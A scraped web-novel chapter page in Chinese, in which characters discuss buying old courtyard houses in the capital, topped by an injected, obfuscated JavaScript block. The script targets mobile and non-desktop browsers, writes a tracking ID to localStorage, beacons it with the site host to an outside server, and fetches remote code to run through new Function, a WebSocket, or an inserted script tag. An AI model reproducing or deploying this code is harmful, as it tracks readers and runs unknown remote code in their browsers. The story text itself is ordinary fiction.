第1516章(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“老城区是四合院和大杂院最多的地方,四合院一般都是大户人家住,想要出手卖的不多,反而是大多数的大杂院都有意出售。”
肖颖微微蹙眉,问:“大杂院?大不?如果地方太小,我应该不会买。”
“大杂院虽然有个‘大’字,但一般有大有小。”肖淡名解释:“大杂院的结构跟四合院很相似,不过一般都是多户人家合住,大家在原来的基础上会再填补一些杂七杂八的小屋,地方混杂,各自填补,看起来颇混杂,故此得名‘大杂院’。”
肖颖忍不住问:“深浅,大杂院都是有地契或房产证的吧?”
“有。”鲁深浅答:“前年帝都各个街道办事处帮着给大伙儿录入资料,一户各得一本房产证。有些地方出现一些纠纷,暂时就还没办。”
肖颖好奇问:“市中心的大杂院多不?那边一部分是新开发的城区,一大部分是老房子吧?”
“不是。”鲁深浅解释:“帝都的房子不停在翻新,有些大户人家时不时改建,有些卖掉被新户主重新改建,现在所剩的老房子和老杂院不多。”
肖淡名忍不住提醒女儿:“能住帝都市中心的人家,以前都是非富即贵的人家。除了一些家底被掏空或吃空的落魄家族,不然哪可能会卖祖宅老宅?”
“哦哦。”肖颖记住了,又问:“深浅,那有没有这样的大户人家要卖老宅呀?”
鲁深浅眸光微动,低声:“老话说得好,富不过三代。大户人家也不一定每个子弟都是人中龙凤,再丰厚的家底,金山银山也可能会被掏空。平安街那边最近就有两户人家悄悄放出风声要卖老宅,而且是老邻居,中间只隔了两堵墙,而且两家都是差不多这样的缘由。”
“很大的宅子吗?”肖颖好奇问:“有多大?”
鲁深浅答:“池家是两进两出,欧阳家是标准的三进院。”
“哇......”肖颖禁不住目瞪口呆:“那么大呀!如果折算成平方米的话,那应该得好几百平吧?”
肖淡名温声解释:“帝都的四合院没有固定的尺寸,标准四合院的基本形制是分居四面的北房(正房)、南房(倒座房)和东、西厢房,四周再围以高墙形成四合,开一个大门于东南角。房间总数一般是北房三正二耳五间,东、西房各三间,南屋不算大门四间,连大门洞、垂花门共十七间。正房建筑面积约一百平方米,正房每间大致十五到十八平方米,普通每间十平方米,全部住房面积约两百平方米,占地约四百平方米。如果是二进,三进甚至更大的四合院,面积就更大。一般二进不会小于六百米平米,三进不会小于九百平米,当然这还是指一般标准而言。”
肖颖点点头,道:“咱们新买的四合院设计比较新颖,算是小二进的设计。当初我们买的时候是两百多平方米,院子和外围的面积没计算在内。”
“嗯。”肖淡名微微一笑:“就我和你妈住,已经够宽了。”
鲁深浅连忙解释:“池家和欧阳家都是标准的四合院设计,不是后来改进的小套。历史都也蛮长了,足足有八九十年了。”
“那么老了呀?”肖颖好奇问:“陈旧不?有没有翻新?”
鲁深浅苦笑:“都没有。听说欧阳家的三进厅都已经破了,塌了一大块,都是年久失修造成的后果。”
肖颖想了想,问:“他们为什么要卖掉老宅子?急着卖不?都已经没住人了吗?”
“颖小姐,咱要买四合院——也不能这么买呀!”鲁深浅哭笑不得:“平安街那边已经在不停翻新建新房子,像这样的老宅子又大又旧,供水不行,供暖也不行,看着又老又旧,年轻人都不喜欢。”
“不。”肖颖认真答:“我很喜欢,我有兴趣买。”
鲁深浅和肖淡名都被她吓了一大跳!